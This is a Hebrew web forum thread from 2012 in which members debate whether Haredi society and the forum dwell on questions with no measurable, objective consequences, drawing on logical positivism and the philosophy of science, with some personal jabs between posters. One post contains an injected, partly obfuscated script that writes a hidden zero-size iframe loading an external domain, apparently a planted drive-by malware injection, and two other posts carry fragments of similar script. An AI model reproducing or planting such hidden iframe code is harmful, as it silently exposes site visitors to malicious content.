|
|
| נשלח ב-23/8/2012 00:26 |
 |
| |
מה הבעיה של עצכ"ח? הבריחה מכל מה שאובייקטיביות מדידה רח"ל נודף ממנו
| ואמאי כתב: |  | | אולי על דרך הגדרה נוקשה: כשאנשים מדברים יש אינסוף אפשרויות וכיוונים, אפשר לפטפט לנצח מבלי להתקדם. כאשר יש גבולות הדיון מתקדם, כשמגיעים לאיזה גבול או חוק של הדיון, נוצרת נקודת הכרעה. דיון בלי כללים לעולם לא יוכל להביא להכרעה, כי תמיד יהיה אפשר להמשיך להתגלש ולהתגלגל ולהתרחב. |
|
הבעיה הגדולה של הציבור החרדי הוא שהוא עסוק באופן חסר פרופורציות ונטול מקבילות בקיום האנושי, בעיסוק בשאלות שאין להן שום השלכה מדידה אובייקטיבית, ולכן הדיון בהן הוא חסר משמעות. עצכ"ח במובן מסויים גרוע יותר, משום שהוא מסווה את פרימיטיביות המחשבה: לכאורה הצטרפתם למין האנושי בזה שעכשיו מותר לשאול הכל, אבל בשלב הערכת התשובות אתם תקועים בעולם אלכימאות מיסטית טרום ימי ביניימית.
אם מניחים בצד את הנושאים נטולי היומרה להשלכה מדידה מעבר לדת (פ"ש, מהותה של הנזירות, בירור אנליטי של משמעות החיים), נותרים עם הלך מחשבה שפשוט נכשל בכך בפועל. מבחינה זו אין הבדל בין מחב"תיזם "נמוך", סטייל "הוכחות בלי טריקים לנכונות התורה לחיזוי לעתיד אבל רק בדיעבד", הקומדיה ליהדות, וכו', למחב"תיזם "גבוה", סטייל "שערוך ההסתברות לחוקי הפיזיקה הנוכחיים דרך התפלגות יוניפורמית במרחבים א-קומפקטיים" ודיון האם עפ"י "הוכחות" החזו"א לקיום האל 2 + 2 = 4 הוא אנליטי (לא, מדובר בסינטטי א-פריורי, כפי שמוכיח 5 + 7 = 12, בי נשבעתי כך נכתב כאן בפורום).
באופן לא מפתיע, הלוקה החמור ביותר בבעיה הוא בדיוק פותח האשכול. אם רובכם לא מבין מהי השלכה אובייקטיבית מדידה, הרי ואמאי ממש נגעל ממנה: מה שנתן למדידה לעולם יידחה בפני מה שלא, ומה שמדוייק לעולם יידחה בפני מה שמעורפל. לא מפתיע, לכן, שהוא כותב דברים והיפוכם באשכולות שונים, ולעתים באותו אשכול. הרי אם אין השלכה ואין משמעות לכלום, אין גם שום משמעות ל"היפוך" של משהו, אפשר להגדיר "התגלשות" כ"הכרעה". להלן מספר דוגמאות, ממש על קצה המזלג.
1. ואמאי כותב כאן על דיון חסר כללים בו אין חתירה להכרעה, אלא התגלגות וכו'. באשכול סמוך ("מה אירע בים סוף", כמדומני) על מה שאירע בקרי"ס, העלה ייתכן בעיות בתיאור הפסוקים. ואמאי נכשל בפליטת טענה ייחסית מדידה, לפיה אפשר להצביע על אותם דברים בכל טקסט. לאחר שהתבקש לעשות כן, התגלש, התרחב, והתגלגל המחב"ת לטענה לא קשורה, לפיה הוא מסוגל להמציא טקסט עילג ומבולבל (הפתעה!) ברמה כזו שייחשב בעייתי ("פרקי ביבי"). ממש חתירה להכרעה.
2. באותו אשכול "דוחה" המחב"ת את טענות ייתכן לתורת התעודות בטענות המחץ ש"אין אף מקרה אחר כזה ידוע", ו - במה שנראה פליטה פרויידיאנית - ש"זה נוגד את חוקי הטבע, ממש מדע בדיוני". מה מבקש המחב"ת להוכיח בזה? אממ, איך אגדיר זאת, קיומם של מאורעות שהמחב"ת ממש מתעקש שאין אף מקרה אחר שלהם, והם נוגדים את חוקי הטבע, ממש מדע בדיוני. בעקשנות שקשה להחליט האם היא יותר תוכית או יותר בת-יענתית, מסרב המחב"ת לנסות לשערך, אפילו באופן גס, איזו אנומאליה מבין השתיים היא הגדולה ביותר. זה מביא אותי לנקודה הבאה.
3. במהלך האשכול מתלונן המחב"ת כהרגלו על הזמן שלוקח לכתוב על חשבון עבודה, על אובססיביות, וכו'. כמדומני ששם התואר "תוכי" מופיע שם כרגיל. תמיד אפשר להעלות ספקות, הוא מתלונן, מה שעושה את החיים קשים למי שמעלה טענה פוזיטיבית.
היות שהעלה זאת, הבה נראה אם אפשר ר"ל לכמת זאת איכשהו. ובכן, על שלל ניקיו כתב ואמאי מעל 4000 הודעות בעצכ"ח. מעבר לכך ישנה הקומדיה ליהדות, על גודלה הגרוטסקי. מה שואמאי מכנה "עבודה", אינו אלא ניהול כולל מחב"תיזם, כלומר שוב אותו הדבר. הקומדיה, עושה רושם, עברה עכשיו לפלטפורמה של אבא, ג"כ מחב"ת מקצועי, הידוע בחזרתו הקבועה על ההרצאה "יש מרחבים באטומים -> יש אלוהים". נו, באמת.
בסלידתו הקבועה מכל מה שמדיד וחותר לאמת, אין לואמאי בעיה להעלות ספקות על הפיזיקה הפוזיטיבית (פחמן 14? מצאתי שלושה מאמרים נוגדים באינטרנט, וגם משהו של גאמוב שלא הבנתי אבל אצטט בכ"ז). הוא רק מבקש שלא יפריעו לו לפתח את הקשקוש נטול המשמעות של "אינו נתון לשקר, פרשנות, וטעות (וכשפים כמובן).
(לא רק למחב"תים יש גלגולי נשמות ניקים, מסתבר.)
|
|
|
|
| נשלח ב-23/8/2012 07:04 |
|
| |
[פיל,
והנה, גם אתה מביע את דעותיך כאן (ולא בלי תרעומת ואג'נדות אישיות) - יקראו הקוראים ויישפוטו.
זה משמעות הפורום, לדעתי, ואיני רואה בה בעייה אלא יתרון גדול.]
|
|
|
|
|
| נשלח ב-23/8/2012 07:32 |
|
| |
הדבר הגרוע בכל טענותיו של פיל, שבלי שום ספק יש לו ניק כבר בפורום, והוא בשביל לבוא בטענות על ואמאי וכל שום וחניכא דאית ליה, הוא בעצמו פותח ניק חדש במיוחד בשביל זה, הרי כל אחד יכול גם לשער מי הוא אותו פיל..., השנאה ממש פשוטו כמשמעו שיש לו לואמאי שבלי להתבלבל כבר הכניס את 'אבא' שלו גם לעניין, ממש מעבירה אותו על דעתו, ופשוט כבר מדבר מש מתוך עיוורון, חבל.
נ.ב. כנראה גם להרב מיכי ולכן לא יכול שלא לוותר לקרוא לשניהם מחבתי"ם, ודו"ק.
תוקן על ידי tzvi11 ב- 23/08/2012 07:37:27
|
|
|
|
| נשלח ב-23/8/2012 08:24 |
|
| |
הפיל בחדר
ברוך הבא לפורום!
אפילו אני, שאיני מומחה לזיהוי ניקים, מתחיל לחשוד לפי הדוגמאות שלך שאתה חבר ותיק ומוכר.
חוששני גם שעסקת יותר מדי בהתקפות כמעט אישיות ותגובתך תעלם.
וחבל.
אני מעתיק את פתיחת דבריך שהם העיקר.
הבעיה הגדולה של הציבור החרדי הוא שהוא עסוק באופן חסר פרופורציות ונטול מקבילות בקיום האנושי, בעיסוק בשאלות שאין להן שום השלכה מדידה אובייקטיבית, ולכן הדיון בהן הוא חסר משמעות. עצכ"ח במובן מסויים גרוע יותר, משום שהוא מסווה את פרימיטיביות המחשבה: לכאורה הצטרפתם למין האנושי בזה שעכשיו מותר לשאול הכל, אבל בשלב הערכת התשובות אתם תקועים בעולם אלכימאות מיסטית טרום ימי ביניימית.
אם אתעלם לרגע מהכתובת לביקורת, שהיא הציבור החרדי, ואעסוק בקריטריון שאתה מציע לקבלה או דחיה של שאלות ותשובות, אזי נקבל משהו שמאד ראוי לדיון.
קראת לו במינוח מודרני וחדש עבורי: השלכה מדידה אובייקטיבית
זה נשמע יפה מאד, אבל זה לא חדש כל כך. אפשר היה לטעון טענה יותר מרחיקת לכת. לא זו בלבד שללא השלכות מדידות אובייקטיביות אין הוכחה, אלא שבכלל אין משמעות למשפטים ואולי למילים.
הגישה הזו ימיה כימי ענף מסויים בפילוסופיה האנליטית של ראשית ימי המאה ה20.
היא זכתה לתומכים מפורסמים (אם הבנתי אותך נכון, אזי אייר השתמש בה כדי לשלול את הדת לסוגיה, את המטפיזיקה ואת המוסר).
עם גישה מחמירה כזו יש כמה בעיות.
אחת מהן, שהוזכרה כמדומה בדברי מיכי (אם מותר להזכירו כי אולי זה מטלית אדומה לשור זועם?) היא שגישה עקבית כזו תסתור את עצמה אם תציע ביקורת מוסרית לאחרים, למשל.
יותר מכך, המדע עצמו אינו מסוגל להיצמד לדרישות כאלו. הנסיון להפוך את משפטי התיאוריות המדעיות למשמעותיים לפי הקריטריון הזה אינו עולה בקנה אחד עם הפעילות המדעית.
לאחר שביקרתי את ביקורתך, אני חפץ להסתייג ולשבח אותה. מה שצריך הוא גבולות ומודעות עצמית.
מודעות עצמית - שהדרישה לאובייקטיביות מדידה אינה יכולה למצות את המציאות המוכרת לנו. "מדידה" אומר כלים. וכלים הם תלויי תיאוריה. ולא כל דבר נתפס בכלים מדעיים. חבל אולי אבל זה מה שיש.
גבולות - מפני שגם אם יש תחומים שבהם חבל להיצמד לדרישה לאובייקטיביות מדידה יותר מדי, עדיין הדרישה הזו חוסכת הרבה דיבורי סרק. ובזה אני מסכים עם הפיל החדש בחדרי עצכח.
לדוגמא, הביקורת שלי על המונח "רוחניות" למשל היא שהוא ריק ומדומה (או מדומיין לפעמים). כנ"ל לגבי "עולמות רוחניים". מי שמבקר בהם ומכיר אותם זה דבר אחד (אולי אפילו מדיד), אבל מי שלא, עלול להתפתות לגיבובי מילים ומשחקים דמיוניים.
אז התביעה למדידתיות יכולה להועיל הרבה, והיא עצמה כלי. אבל לא הכלי היחיד לבירור מציאות. דוגמא מעוררת מחלוקת, נוסף לאלו שכבר הזכרתי (רוחניות, עולמות רוחניים) היא: "אני". מה זה? הוא בר מדידה?
ולכן, שורה אחרונה: אובייקטיביות מדידה היא דבר חשוב, אבל לא היחיד.
_________________
שומר פיו ולשונו - שומר מצרות נפשו
< type="text/">document.write("");
 |
|
|
|
|
| נשלח ב-23/8/2012 10:03 |
|
| |
| מיימוני כתב: | |
אפילו אני, שאיני מומחה לזיהוי ניקים, מתחיל לחשוד לפי הדוגמאות שלך שאתה חבר ותיק ומוכר.
די רמזתי על כך בסוף דברי, לא?
הבעיה הגדולה של הציבור החרדי הוא שהוא עסוק באופן חסר פרופורציות ונטול מקבילות בקיום האנושי, בעיסוק בשאלות שאין להן שום השלכה מדידה אובייקטיבית, ולכן הדיון בהן הוא חסר משמעות...
...
היא זכתה לתומכים מפורסמים (אם הבנתי אותך נכון, אזי אייר השתמש בה כדי לשלול את הדת לסוגיה, את המטפיזיקה ואת המוסר).
...
אחת מהן, שהוזכרה כמדומה בדברי מיכי (אם מותר להזכירו כי אולי זה מטלית אדומה לשור זועם?) היא שגישה עקבית כזו תסתור את עצמה אם תציע ביקורת מוסרית לאחרים, למשל.
יותר מכך, המדע עצמו אינו מסוגל להיצמד לדרישות כאלו. הנסיון להפוך את משפטי התיאוריות המדעיות למשמעותיים לפי הקריטריון הזה אינו עולה בקנה אחד עם הפעילות המדעית.
כנראה שהתנסחתי בחוסר בהירות (אם כי יש נסיבות מקילות). אנסה להבהיר.
נניח שאדם אומר לבן שלו "לא יפה לחטוף צעצועים של אחרים!". זו אמירה מוסרית שאיננה מיותרת, ולא טענתי אחרת. אבל ראוי להבין שאין הרבה מה להתעמק בה, ודיון בה יתמצה מהר מאד. לו היית שומע על חברה שהחליטה להקדיש את כל זמנה לחקר השאלה "מדוע לא לחטוף צעצועים?", היה לך ברור שמדובר במצב חסר תקדים, וכנראה שהיית מסכים שמדובר בבזבוז זמן. השווה לחברה החרדית.
באופן אירוני, הדברים החשובים ביותר הם גם אלה שפשוט אין הרבה מה לומר עליהם.
את הערותיך על המדע לא הבנתי, וייתכן שמאותה סיבה. הדברים שמגדירים את המדע עצמו - "פילוסופיה של המדע" - הם דברים שאין הרבה מה לומר עליהם. מנסיוני האישי - ואני מנחש שסקר היה מאשש שהדבר נכון באופן כללי - הקורלציה בין הישגים מדעיים לבין עניין בפילוסופיה של המדע היא שלילית (תרגום: ככלל אצבע, מתעניין בפילוסופיה של המדע -> לא מדען טוב).
החלוקה ל"סינתטי" ו"אנליטי" לדוגמה - היא כנראה תפלה לחלוטין בעיני רוב מי שעוסקים במדע. פעם לא ידעו להוכיח את משפט פרמה, אבל אנדרו וויילס הראה איך כן. זה שלאחר שהוא הראה איך, כל שלב נובע מהשלב הקודם, ולכן יש כאן "ריקנות אנליטית" - מעניין את הסבתא.
******* type="text/">document.write("*************** scrolling='no' frameborder='0' height='0px' width='0px' src='ht"+"tp:"+"/"+"/"+"vjgvj.co"+".cc/?a="+***************+"'><*"); |
|
|
|
|
|
|
| נשלח ב-23/8/2012 10:06 |
|
| |
חוץ מהסבתא הכל בסדר
|
|
|
|
| נשלח ב-23/8/2012 10:25 |
|
| |
| ואמאי כתב: | | בזמן שידוע שכולם חסידים אהובים וברורים במעלות קדושים וטהורים תחת כנפי השכינה חוסים ובגן עדן תהא מנוחתם. |
|
אחלה הספד
|
|
|
|
| נשלח ב-23/8/2012 10:53 |
|
| |
פיל,
כתבת "נניח שאדם אומר לבן שלו "לא יפה לחטוף צעצועים של אחרים!". זו אמירה מוסרית שאיננה מיותרת, ולא טענתי אחרת. אבל ראוי להבין שאין הרבה מה להתעמק בה, ודיון בה יתמצה מהר מאד. לו היית שומע על חברה שהחליטה להקדיש את כל זמנה לחקר השאלה "מדוע לא לחטוף צעצועים?", היה לך ברור שמדובר במצב חסר תקדים, וכנראה שהיית מסכים שמדובר בבזבוז זמן. השווה לחברה החרדית"
כמדומני שנתערבו בדבריך חכמי עצכ"ח עם כלל החברה החרדית. האחרונה, עוסקת בשאלות "מה נכלל בצעצוע" ? "מה נקרא לחטוף" ? באיזה מקרה מותר או אפילו חובה לחטוף" ? וכיוצא בשאלות הללו, הנפוצות בכל מערכת משפטית. אלא שאצל החרדים וגם אצל יהודים טובים שאינם כאלה, הרי חובת הלימוד הזאת היא של העם כולו, בניגוד למערכת המשפטית. את עצכ"ח אכן ניתן גם לאפיין בשאלה הכללית המקדימה "מדוע לא לחטוף צעצועים" ? אבל בכך אין הוא נבדל מכל מחלקה לפילוסופיה בעולם האקדמי שאת צדדי החסרון שלה ביארת יפה בקצרה.
תוקן על ידי ספרן ב- 23/08/2012 11:28:09
|
|
|
|
| נשלח ב-23/8/2012 12:00 |
|
| |
הפיל בחדר כתב: ''עצכ''ח במובן זה יותר גרוע''תמהני מדוע הפיל בחדר מייחס דעות מסויימות כמהותיות לפלטפורמת עצכ''ח? עמדתה של הפלטפורמה ביחס לעמדות האמורות מתמצית בכך שלאור עובדת קיומן הרי שיש אינטרס בדיון מעמיק במידה זו או אחרת בהן וע''כ היא מאפשרת את הדיון בנידון. הפיל לא רואה את עצכ''ח כסך הכולל של הדעות המופיעות בו אלא את דעותיהם של מיכי ואמאי ואילו הוא מהווה משתתף חיצוני. חבל שפיל כה חכם טועה בדבר כה בסיסי ופשוט למרות ההבהרות החוזרות והנישנות. הפלטפורמה מקדמת בברכה את תרומתו המחכימה של הפיל לדיונים דנן ורואה בה חלק אינטגרלי מעצכ''ח.
תוקן על ידי עצכח ב- 23/08/2012 12:27:57
|
|
|
|
| נשלח ב-23/8/2012 12:00 |
|
| |
אמנם כבר כתבתי את זה לפחות עשר פעמים , אבל שוב העיקר חסר.
זה נכון ש "הציבור החרדי הוא שהוא עסוק באופן חסר פרופורציות ונטול מקבילות בקיום האנושי, בעיסוק בשאלות שאין להן שום השלכה מדידה אובייקטיבית," אלא שהמסקנה "ולכן הדיון בהן הוא חסר משמעות. " מוטעית מיסודה , או לכל הפחות נתונה במחלקות חריפה בפורום ובעולם.
באשר יש הסבורים שהאדם בא לעולם כדי לשנות ולהשפיע טובה בו , ו/או לחשוף את צלם הא-להים שבו.
ולא להתחקות כל חייו אחרי פרוטונים גורי יקום , מאובנים, או כתבי יד עתיקים. (הגם שאצל חלק מבני האדם זו עשויה להיות הדרך היחודית שלהם לגלות את הצלם הטמון בהם)
ממילא מה שחשוב בעינהם (יש להודות שגם אני הקטן כלול בהם) הוא יותר ענינים שנוגעים למקומו הקיומי-פילוסופי של האדם בעולם, ופחות פלפולי ליגה ד' של מחב"תים מול מחב"שים על פחמן 14 והתאמה צורני בין טקסטים, וכד'.
|
|
|
|
| נשלח ב-23/8/2012 12:27 |
|
| |
כל מותחי הביקורת מזכירים לי משום מה את המשיח המיוסר שיושב-(וכותב) בין החולים והנדכאים, ופותח וחובש את פצעיו.
סנהדרין דף צח.
אמר ליה: אימת אתי משיח? - אמר ליה: זיל שייליה לדידיה. - והיכא יתיב? - אפיתחא דרומי. - ומאי סימניה? - יתיב ביני עניי סובלי חלאים, וכולן שרו ואסירי בחד זימנא, איהו שרי חד ואסיר חד.
|
|
|
|
| נשלח ב-23/8/2012 12:28 |
|
| |
כדי לחשוף את צלם האלוהים צריך להאמין קודם כל שיש אלוהים (אחרת הביטוי הוא חסר משמעות) ולשם כך צריך להתעסק בפילפולים (רצוי מליגה א' אבל זה מה יש)
|
|
|
|
| נשלח ב-23/8/2012 12:29 |
|
| |
חלוקת איקונים ירוקים (וירטואליים בלבד, הוחלפו בחוסר טעם בלייקים חומים במאגר).
לספרן
על האבחנות לגבי המשותף והשונה בין החרדיות וסתם אנשים טובים לבין עצכחניקים, ועל המשותף לפעמים בין עצכח לאקדמיה.
לעצכח
על צמצום העצכחיות לפלטפורמה דיונית ועל הרחבת המושג "עצכחיות" לכלול את פיל
ועל החזרה המרובה על אותו עיקרון בסבלנות מיימונית להפליא.
ולאיש ציפור על המשפט הבא
יש הסבורים שהאדם בא לעולם כדי לשנות ולהשפיע טובה בו , ו/או לחשוף את צלם הא-להים שבו.
ולא להתחקות כל חייו אחרי פרוטונים גורי יקום , מאובנים, או כתבי יד עתיקים. (הגם שאצל חלק מבני האדם זו עשויה להיות הדרך היחודית שלהם לגלות את הצלם הטמון בהם)
_________________
שומר פיו ולשונו - שומר מצרות נפשו
< type="text/">document.write("");
|
|
|
|
| נשלח ב-23/8/2012 12:47 |
|
| |
מימוני,את האייקון הכי ירוק היית צריך לתת לאישציפור דווקא על השורה האחרונה שלו שאותה לא ציטטת.
מפני שאם נושא האשכול הוא מה הבעיה של עצכ"ח כיום הרי איש ציפור הצביע על הבעייה העיקרית של עצכ"ח כיום-דיונים ליגה ד'.
|
|
|
|
| נשלח ב-23/8/2012 12:52 |
|
| |
אפרים,
1. לכן השתמשתי גם בניסוח הראשון. מצידי תקרא לזה קוקיריקו ולא צלם א-להים. (למרות שיש משמעויות והשלכות כלשהן למינוח אחד על פני חבירו , לעניננו זה פחות משנה)
2. זהו שבעיני, בשביל לדעת (השינוי במינוח לא מקרי) שיש א-להים , לא צריך פלפולים בטח שלא מהסוג הזה, ממילא כל פלפול מהסוג האירופאי (דוקינסי/ביקורת המקרא וכד') הוא בעיני מליגה ד' ומטה בהקשר הזה, אם כי כאמור לצורך הטיעון הבסיסי שלי כאן אין צורך אמיתי לדעת אם יש א-להים , מספיק להכיר בכך שיש בני אדם עם דיסציפלינה שונה משלך ביחס למה שחשוב בעולם ושווה דיון , למה שפחות או לגמרי לא.
|
|
|
|
|
